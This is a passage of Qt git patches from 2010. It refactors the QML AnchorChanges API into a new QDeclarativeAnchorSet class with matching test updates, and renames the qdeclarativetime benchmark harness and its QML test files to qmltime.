WRITE setTop) - Q_PROPERTY(QDeclarativeAnchorLine bottom READ bottom WRITE setBottom) - Q_PROPERTY(QDeclarativeAnchorLine verticalCenter READ verticalCenter WRITE setVerticalCenter) - Q_PROPERTY(QDeclarativeAnchorLine baseline READ baseline WRITE setBaseline) + Q_PROPERTY(QDeclarativeAnchorLine left READ left WRITE setLeft RESET resetLeft) + Q_PROPERTY(QDeclarativeAnchorLine right READ right WRITE setRight RESET resetRight) + Q_PROPERTY(QDeclarativeAnchorLine horizontalCenter READ horizontalCenter WRITE setHorizontalCenter RESET resetHorizontalCenter) + Q_PROPERTY(QDeclarativeAnchorLine top READ top WRITE setTop RESET resetTop) + Q_PROPERTY(QDeclarativeAnchorLine bottom READ bottom WRITE setBottom RESET resetBottom) + Q_PROPERTY(QDeclarativeAnchorLine verticalCenter READ verticalCenter WRITE setVerticalCenter RESET resetVerticalCenter) + Q_PROPERTY(QDeclarativeAnchorLine baseline READ baseline WRITE setBaseline RESET resetBaseline) + //Q_PROPERTY(QDeclarativeItem *fill READ fill WRITE setFill RESET resetFill) + //Q_PROPERTY(QDeclarativeItem *centerIn READ centerIn WRITE setCenterIn RESET resetCenterIn) + + /*Q_PROPERTY(qreal margins READ margins WRITE setMargins NOTIFY marginsChanged) + Q_PROPERTY(qreal leftMargin READ leftMargin WRITE setLeftMargin NOTIFY leftMarginChanged) + Q_PROPERTY(qreal rightMargin READ rightMargin WRITE setRightMargin NOTIFY rightMarginChanged) + Q_PROPERTY(qreal horizontalCenterOffset READ horizontalCenterOffset WRITE setHorizontalCenterOffset NOTIFY horizontalCenterOffsetChanged()) + Q_PROPERTY(qreal topMargin READ topMargin WRITE setTopMargin NOTIFY topMarginChanged) + Q_PROPERTY(qreal bottomMargin READ bottomMargin WRITE setBottomMargin NOTIFY bottomMarginChanged) + Q_PROPERTY(qreal verticalCenterOffset READ verticalCenterOffset WRITE setVerticalCenterOffset NOTIFY verticalCenterOffsetChanged()) + Q_PROPERTY(qreal baselineOffset READ baselineOffset WRITE setBaselineOffset NOTIFY baselineOffsetChanged())*/ public: - QDeclarativeAnchorChanges(QObject *parent=0); - ~QDeclarativeAnchorChanges(); - - virtual ActionList actions(); - - QDeclarativeItem *object() const; - void setObject(QDeclarativeItem *); - - QString reset() const; - void setReset(const QString &); + QDeclarativeAnchorSet(QObject *parent=0); + virtual ~QDeclarativeAnchorSet(); QDeclarativeAnchorLine left() const; void setLeft(const QDeclarativeAnchorLine &edge); + void resetLeft(); QDeclarativeAnchorLine right() const; void setRight(const QDeclarativeAnchorLine &edge); + void resetRight(); QDeclarativeAnchorLine horizontalCenter() const; void setHorizontalCenter(const QDeclarativeAnchorLine &edge); + void resetHorizontalCenter(); QDeclarativeAnchorLine top() const; void setTop(const QDeclarativeAnchorLine &edge); + void resetTop(); QDeclarativeAnchorLine bottom() const; void setBottom(const QDeclarativeAnchorLine &edge); + void resetBottom(); QDeclarativeAnchorLine verticalCenter() const; void setVerticalCenter(const QDeclarativeAnchorLine &edge); + void resetVerticalCenter(); QDeclarativeAnchorLine baseline() const; void setBaseline(const QDeclarativeAnchorLine &edge); + void resetBaseline(); + + QDeclarativeItem *fill() const; + void setFill(QDeclarativeItem *); + void resetFill(); + + QDeclarativeItem *centerIn() const; + void setCenterIn(QDeclarativeItem *); + void resetCenterIn(); + + /*qreal leftMargin() const; + void setLeftMargin(qreal); + + qreal rightMargin() const; + void setRightMargin(qreal); + + qreal horizontalCenterOffset() const; + void setHorizontalCenterOffset(qreal); + + qreal topMargin() const; + void setTopMargin(qreal); + + qreal bottomMargin() const; + void setBottomMargin(qreal); + + qreal margins() const; + void setMargins(qreal); + + qreal verticalCenterOffset() const; + void setVerticalCenterOffset(qreal); + + qreal baselineOffset() const; + void setBaselineOffset(qreal);*/ + + QDeclarativeAnchors::UsedAnchors usedAnchors() const; + +/*Q_SIGNALS: + void leftMarginChanged(); + void rightMarginChanged(); + void topMarginChanged(); + void bottomMarginChanged(); + void marginsChanged(); + void verticalCenterOffsetChanged(); + void horizontalCenterOffsetChanged(); + void baselineOffsetChanged();*/ + +private: + friend class QDeclarativeAnchorChanges; + Q_DISABLE_COPY(QDeclarativeAnchorSet) + Q_DECLARE_PRIVATE(QDeclarativeAnchorSet) +}; + +class QDeclarativeAnchorChangesPrivate; +class Q_DECLARATIVE_EXPORT QDeclarativeAnchorChanges : public QDeclarativeStateOperation, public QDeclarativeActionEvent +{ + Q_OBJECT + Q_DECLARE_PRIVATE(QDeclarativeAnchorChanges) + + Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject) + Q_PROPERTY(QDeclarativeAnchorSet *anchors READ anchors CONSTANT) + +public: + QDeclarativeAnchorChanges(QObject *parent=0); + ~QDeclarativeAnchorChanges(); + + virtual ActionList actions(); + + QDeclarativeAnchorSet *anchors(); + + QDeclarativeItem *object() const; + void setObject(QDeclarativeItem *); virtual void execute(); virtual bool isReversable(); @@ -212,6 +290,7 @@ QT_END_NAMESPACE QML_DECLARE_TYPE(QDeclarativeParentChange) QML_DECLARE_TYPE(QDeclarativeStateChangeScript) +QML_DECLARE_TYPE(QDeclarativeAnchorSet) QML_DECLARE_TYPE(QDeclarativeAnchorChanges) QT_END_HEADER diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index d79c6ba..2a02ffe 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -140,6 +140,7 @@ void QDeclarativeUtilModule::defineModule() qmlRegisterType(); qmlRegisterType(); + qmlRegisterType(); qmlRegisterTypeEnums("Animation"); diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml index 7dce889..5443e54 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml @@ -16,8 +16,8 @@ Rectangle { AnchorChanges { id: ancCh target: myRect; - reset: "left" - right: container.right + anchors.left: undefined + anchors.right: container.right } } } diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml index 545345e..56de560 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml @@ -14,8 +14,8 @@ Rectangle { name: "right" AnchorChanges { target: myRect; - reset: "left" - right: parent.right + anchors.left: undefined + anchors.right: parent.right } } } diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml index 9d5b317..59c3c06 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml @@ -20,10 +20,10 @@ Rectangle { name: "reanchored" AnchorChanges { target: myRect; - left: leftGuideline.left - right: container.right - top: container.top - bottom: bottomGuideline.bottom + anchors.left: leftGuideline.left + anchors.right: container.right + anchors.top: container.top + anchors.bottom: bottomGuideline.bottom } } } diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml index f128989..7e3ba1c 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml @@ -15,8 +15,8 @@ Rectangle { name: "reanchored" AnchorChanges { target: myRect; - horizontalCenter: bottomGuideline.horizontalCenter - verticalCenter: leftGuideline.verticalCenter + anchors.horizontalCenter: bottomGuideline.horizontalCenter + anchors.verticalCenter: leftGuideline.verticalCenter } } } diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml index 4e6d34b..b85a922 100644 --- a/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml +++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml @@ -15,8 +15,8 @@ Rectangle { name: "reanchored" AnchorChanges { target: myRect; - horizontalCenter: bottomGuideline.horizontalCenter - baseline: leftGuideline.baseline + anchors.horizontalCenter: bottomGuideline.horizontalCenter + anchors.baseline: leftGuideline.baseline } } } diff --git a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp index 91883c9..2ab21a4 100644 --- a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp +++ b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp @@ -564,10 +564,10 @@ void tst_qdeclarativestates::anchorChanges() rect->setState("right"); QCOMPARE(innerRect->x(), qreal(150)); - QCOMPARE(aChanges->reset(), QString("left")); + QCOMPARE(aChanges->anchors()->left().anchorLine, QDeclarativeAnchorLine::Invalid); //### was reset (how do we distinguish from not set at all) QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - QCOMPARE(aChanges->right().item, rect->right().item); - QCOMPARE(aChanges->right().anchorLine, rect->right().anchorLine); + QCOMPARE(aChanges->anchors()->right().item, rect->right().item); + QCOMPARE(aChanges->anchors()->right().anchorLine, rect->right().anchorLine); rect->setState(""); QCOMPARE(innerRect->x(), qreal(5)); @@ -623,14 +623,14 @@ void tst_qdeclarativestates::anchorChanges3() rect->setState("reanchored"); QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - QCOMPARE(aChanges->left().item, leftGuideline->left().item); - QCOMPARE(aChanges->left().anchorLine, leftGuideline->left().anchorLine); - QCOMPARE(aChanges->right().item, rect->right().item); - QCOMPARE(aChanges->right().anchorLine, rect->right().anchorLine); - QCOMPARE(aChanges->top().item, rect->top().item); - QCOMPARE(aChanges->top().anchorLine, rect->top().anchorLine); - QCOMPARE(aChanges->bottom().item, bottomGuideline->bottom().item); - QCOMPARE(aChanges->bottom().anchorLine, bottomGuideline->bottom().anchorLine); + QCOMPARE(aChanges->anchors()->left().item, leftGuideline->left().item); + QCOMPARE(aChanges->anchors()->left().anchorLine, leftGuideline->left().anchorLine); + QCOMPARE(aChanges->anchors()->right().item, rect->right().item); + QCOMPARE(aChanges->anchors()->right().anchorLine, rect->right().anchorLine); + QCOMPARE(aChanges->anchors()->top().item, rect->top().item); + QCOMPARE(aChanges->anchors()->top().anchorLine, rect->top().anchorLine); + QCOMPARE(aChanges->anchors()->bottom().item, bottomGuideline->bottom().item); + QCOMPARE(aChanges->anchors()->bottom().anchorLine, bottomGuideline->bottom().anchorLine); QCOMPARE(innerRect->x(), qreal(10)); QCOMPARE(innerRect->y(), qreal(0)); @@ -673,10 +673,10 @@ void tst_qdeclarativestates::anchorChanges4() rect->setState("reanchored"); QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); - QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); - QCOMPARE(aChanges->verticalCenter().item, leftGuideline->verticalCenter().item); - QCOMPARE(aChanges->verticalCenter().anchorLine, leftGuideline->verticalCenter().anchorLine); + QCOMPARE(aChanges->anchors()->horizontalCenter().item, bottomGuideline->horizontalCenter().item); + QCOMPARE(aChanges->anchors()->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); + QCOMPARE(aChanges->anchors()->verticalCenter().item, leftGuideline->verticalCenter().item); + QCOMPARE(aChanges->anchors()->verticalCenter().anchorLine, leftGuideline->verticalCenter().anchorLine); delete rect; } @@ -708,10 +708,10 @@ void tst_qdeclarativestates::anchorChanges5() rect->setState("reanchored"); QCOMPARE(aChanges->object(), qobject_cast(innerRect)); - QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); - QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); - QCOMPARE(aChanges->baseline().item, leftGuideline->baseline().item); - QCOMPARE(aChanges->baseline().anchorLine, leftGuideline->baseline().anchorLine); + QCOMPARE(aChanges->anchors()->horizontalCenter().item, bottomGuideline->horizontalCenter().item); + QCOMPARE(aChanges->anchors()->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); + QCOMPARE(aChanges->anchors()->baseline().item, leftGuideline->baseline().item); + QCOMPARE(aChanges->anchors()->baseline().anchorLine, leftGuideline->baseline().anchorLine); delete rect; } diff --git a/tests/auto/declarative/visual/animation/reanchor/reanchor.qml b/tests/auto/declarative/visual/animation/reanchor/reanchor.qml index e41a254..1d0495e 100644 --- a/tests/auto/declarative/visual/animation/reanchor/reanchor.qml +++ b/tests/auto/declarative/visual/animation/reanchor/reanchor.qml @@ -36,18 +36,19 @@ Rectangle { name: "reanchored" AnchorChanges { target: myRect; - left: leftGuideline.left - right: container.right - top: container.top - bottom: bottomGuideline.bottom + anchors.left: leftGuideline.left + anchors.right: container.right + anchors.top: container.top + anchors.bottom: bottomGuideline.bottom } }, State { name: "reanchored2" AnchorChanges { target: myRect; - reset: "left, right" - top: topGuideline2.top - bottom: bottomGuideline2.bottom + anchors.left: undefined + anchors.right: undefined + anchors.top: topGuideline2.top + anchors.bottom: bottomGuideline2.bottom } }] -- cgit v0.12 From 3828aea7c4a1e08d518c32e585929e379116e870 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 25 Mar 2010 15:24:52 +1000 Subject: Rename qdeclarativetime -> qmltime Consistent with "qml" runtime binary --- tests/benchmarks/declarative/declarative.pro | 2 +- .../declarative/qdeclarativetime/example.qml | 14 -- .../qdeclarativetime/qdeclarativetime.cpp | 231 --------------------- .../qdeclarativetime/qdeclarativetime.pro | 23 -- .../qdeclarativetime/tests/anchors/empty.qml | 34 --- .../qdeclarativetime/tests/anchors/fill.qml | 41 ---- .../qdeclarativetime/tests/anchors/null.qml | 27 --- .../qdeclarativetime/tests/animation/large.qml | 41 ---- .../tests/animation/largeNoProps.qml | 41 ---- .../tests/item_creation/children.qml | 34 --- .../qdeclarativetime/tests/item_creation/data.qml | 34 --- .../tests/item_creation/no_creation.qml | 12 -- .../tests/item_creation/resources.qml | 34 --- .../qdeclarativetime/tests/loader/Loaded.qml | 7 - .../tests/loader/component_loader.qml | 16 -- .../qdeclarativetime/tests/loader/empty_loader.qml | 15 -- .../qdeclarativetime/tests/loader/no_loader.qml | 14 -- .../tests/loader/source_loader.qml | 16 -- .../tests/positioner_creation/no_positioner.qml | 37 ---- .../tests/positioner_creation/null_positioner.qml | 34 --- .../tests/positioner_creation/positioner.qml | 37 ---- tests/benchmarks/declarative/qmltime/example.qml | 14 ++ tests/benchmarks/declarative/qmltime/qmltime.cpp | 231 +++++++++++++++++++++ tests/benchmarks/declarative/qmltime/qmltime.pro | 23 ++ .../declarative/qmltime/tests/anchors/empty.qml | 34 +++ .../declarative/qmltime/tests/anchors/fill.qml | 41 ++++ .../declarative/qmltime/tests/anchors/null.qml | 27 +++ .../declarative/qmltime/tests/animation/large.qml | 41 ++++ .../qmltime/tests/animation/largeNoProps.qml | 41 ++++ .../qmltime/tests/item_creation/children.qml | 34 +++ .../qmltime/tests/item_creation/data.qml | 34 +++ .../qmltime/tests/item_creation/no_creation.qml | 12 ++ .../qmltime/tests/item_creation/resources.qml | 34 +++ .../declarative/qmltime/tests/loader/Loaded.qml | 7 + .../qmltime/tests/loader/component_loader.qml | 16 ++ .../qmltime/tests/loader/empty_loader.qml | 15 ++ .../declarative/qmltime/tests/loader/no_loader.qml | 14 ++ .../qmltime/tests/loader/source_loader.qml | 16 ++ .../tests/positioner_creation/no_positioner.qml | 37 ++++ .../tests/positioner_creation/null_positioner.qml | 34 +++ .../tests/positioner_creation/positioner.qml | 37 ++++ 41 files changed, 743 insertions(+), 743 deletions(-) delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/example.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/children.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/data.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/no_creation.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/item_creation/resources.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/no_positioner.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/null_positioner.qml delete mode 100644 tests/benchmarks/declarative/qdeclarativetime/tests/positioner_creation/positioner.qml create mode 100644 tests/benchmarks/declarative/qmltime/example.qml create mode 100644 tests/benchmarks/declarative/qmltime/qmltime.cpp create mode 100644 tests/benchmarks/declarative/qmltime/qmltime.pro create mode 100644 tests/benchmarks/declarative/qmltime/tests/anchors/empty.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/anchors/fill.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/anchors/null.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/animation/large.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml create mode 100644 tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml diff --git a/tests/benchmarks/declarative/declarative.pro b/tests/benchmarks/declarative/declarative.pro index 38ea6c4..a7d426c 100644 --- a/tests/benchmarks/declarative/declarative.pro +++ b/tests/benchmarks/declarative/declarative.pro @@ -8,4 +8,4 @@ SUBDIRS += \ qdeclarativeimage \ qdeclarativemetaproperty \ script \ - qdeclarativetime + qmltime diff --git a/tests/benchmarks/declarative/qdeclarativetime/example.qml b/tests/benchmarks/declarative/qdeclarativetime/example.qml deleted file mode 100644 index dd6185d..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/example.qml +++ /dev/null @@ -1,14 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - property string name: "Bob Smith" - - QDeclarativeTime.Timer { - component: Item { - Text { text: name } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp b/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp deleted file mode 100644 index 20f0d93d..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.cpp +++ /dev/null @@ -1,231 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include - -class Timer : public QObject -{ - Q_OBJECT - Q_PROPERTY(QDeclarativeComponent *component READ component WRITE setComponent); - -public: - Timer(); - - QDeclarativeComponent *component() const; - void setComponent(QDeclarativeComponent *); - - static Timer *timerInstance(); - - void run(uint); - - bool willParent() const; - void setWillParent(bool p); - -private: - void runTest(QDeclarativeContext *, uint); - - QDeclarativeComponent *m_component; - static Timer *m_timer; - - bool m_willparent; - QGraphicsScene m_scene; - QGraphicsRectItem m_item; -}; -QML_DECLARE_TYPE(Timer); - -Timer *Timer::m_timer = 0; - -Timer::Timer() -: m_component(0), m_willparent(false) -{ - if (m_timer) - qWarning("Timer: Timer already registered"); - m_timer = this; - - m_scene.setItemIndexMethod(QGraphicsScene::NoIndex); - m_scene.addItem(&m_item); -} - -QDeclarativeComponent *Timer::component() const -{ - return m_component; -} - -void Timer::setComponent(QDeclarativeComponent *c) -{ - m_component = c; -} - -Timer *Timer::timerInstance() -{ - return m_timer; -} - -void Timer::run(uint iterations) -{ - QDeclarativeContext context(qmlContext(this)); - - QObject *o = m_component->create(&context); - QGraphicsObject *go = qobject_cast(o); - if (m_willparent && go) - go->setParentItem(&m_item); - delete o; - - runTest(&context, iterations); -} - -bool Timer::willParent() const -{ - return m_willparent; -} - -void Timer::setWillParent(bool p) -{ - m_willparent = p; -} - -void Timer::runTest(QDeclarativeContext *context, uint iterations) -{ - QTime t; - t.start(); - for (uint ii = 0; ii < iterations; ++ii) { - QObject *o = m_component->create(context); - QGraphicsObject *go = qobject_cast(o); - if (m_willparent && go) - go->setParentItem(&m_item); - delete o; - } - - int e = t.elapsed(); - - qWarning() << "Total:" << e << "ms, Per iteration:" << qreal(e) / qreal(iterations) << "ms"; - -} - -void usage(const char *name) -{ - qWarning("Usage: %s [-iterations ] [-parent] ", name); - exit(-1); -} - -int main(int argc, char ** argv) -{ - QApplication app(argc, argv); - - qmlRegisterType("QDeclarativeTime", 1, 0, "Timer"); - - uint iterations = 1024; - QString filename; - bool willParent = false; - - for (int ii = 1; ii < argc; ++ii) { - QByteArray arg(argv[ii]); - - if (arg == "-iterations") { - if (ii + 1 < argc) { - ++ii; - QByteArray its(argv[ii]); - bool ok = false; - iterations = its.toUInt(&ok); - if (!ok) - usage(argv[0]); - } else { - usage(argv[0]); - } - } else if (arg == "-parent") { - willParent = true; - } else { - filename = QLatin1String(argv[ii]); - } - } - - if (filename.isEmpty()) -#ifdef Q_OS_SYMBIAN - filename = QLatin1String("./tests/item_creation/data.qml"); -#else - usage(argv[0]); -#endif - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine, filename); - if (component.isError()) { - qWarning() << component.errors(); - return -1; - } - - QObject *obj = component.create(); - if (!obj) { - qWarning() << component.errors(); - return -1; - } - - Timer *timer = Timer::timerInstance(); - if (!timer) { - qWarning() << "A Tester.Timer instance is required."; - return -1; - } - -#ifdef Q_OS_SYMBIAN - willParent = true; -#endif - timer->setWillParent(willParent); - - if (!timer->component()) { - qWarning() << "The timer has no component"; - return -1; - } - -#ifdef Q_OS_SYMBIAN - iterations = 1024; -#endif - - timer->run(iterations); - - return 0; -} - -#include "qdeclarativetime.moc" diff --git a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro b/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro deleted file mode 100644 index 7902ee1..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/qdeclarativetime.pro +++ /dev/null @@ -1,23 +0,0 @@ -load(qttest_p4) -TEMPLATE = app -TARGET = qdeclarativetime -QT += declarative -macx:CONFIG -= app_bundle - -SOURCES += qdeclarativetime.cpp - -symbian* { - TARGET.CAPABILITY = "All -TCB" - example.sources = example.qml - esample.path = . - tests.sources = tests/* - tests.path = tests - anshors.sources = tests/anchors/* - anchors.path = tests/anchors - item_creation.sources = tests/item_creation/* - item_creation.path = tests/item_creation - positioner_creation.sources = tests/positioner_creation/* - positioner_creation.path = tests/positioner_creation - DEPLOYMENT += example tests anchors item_creation positioner_creation -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml deleted file mode 100644 index 8d93594..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/empty.qml +++ /dev/null @@ -1,34 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - Item { - anchors.leftMargin: 0 - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml deleted file mode 100644 index 918c48a..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/fill.qml +++ /dev/null @@ -1,41 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - Item { - anchors.fill: parent - anchors.leftMargin: 0 - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml deleted file mode 100644 index bb84538..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/anchors/null.qml +++ /dev/null @@ -1,27 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - Item { - Item { - } - Item { - } - Item { - } - Item { - } - Item { - } - Item { - } - Item { - } - } - } - } -} - diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml deleted file mode 100644 index 978e3bf..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml +++ /dev/null @@ -1,41 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - ParallelAnimation { - NumberAnimation { duration: 500 } - NumberAnimation { duration: 4000; } - NumberAnimation { duration: 2000; easing.type: "OutBack"} - ColorAnimation { duration: 3000} - SequentialAnimation { - PauseAnimation { duration: 1000 } - ScriptAction { script: doSomething(); } - PauseAnimation { duration: 800 } - ScriptAction { script: doSomethingElse(); } - PauseAnimation { duration: 800 } - ParallelAnimation { - NumberAnimation { duration: 200;} - SequentialAnimation { - PauseAnimation { duration: 200} - ParallelAnimation { - NumberAnimation { duration: 300;} - NumberAnimation { duration: 300;} - } - NumberAnimation { from: 0; to: 1; duration: 500 } - PauseAnimation { duration: 200 } - NumberAnimation { from: 1; to: 0; duration: 500 } - } - SequentialAnimation { - PauseAnimation { duration: 150} - NumberAnimation { duration: 300; easing.type: "OutBounce" } - } - } - } - } - } - } - -} diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml deleted file mode 100644 index cceb3f4..0000000 --- a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml +++ /dev/null @@ -1,41 +0,0 @@ -import Qt 4.6 -import QDeclarativeTime 1.0 as QDeclarativeTime - -Item { - - QDeclarativeTime.Timer { - component: Component { - ParallelAnimation { - NumberAnimation { } - NumberAnimation { } - NumberAnimation { } - ColorAnimation { } - SequentialAnimation { - PauseAnimation { } - ScriptAction { } - PauseAnimation { } - ScriptAction { } - PauseAnimation { } - ParallelAnimation { - NumberAnimation { } - SequentialAnimation { - PauseAnimation { } - ParallelAnimation { - NumberAnimation { } - NumberAnimation { } - } - NumberAnimation { } - PauseAnimation { } - NumberAnimation { } - } - SequentialAnimation { - PauseAnimation { } - NumberAnimation { } - } - } - } - } - } - } - -} diff --git 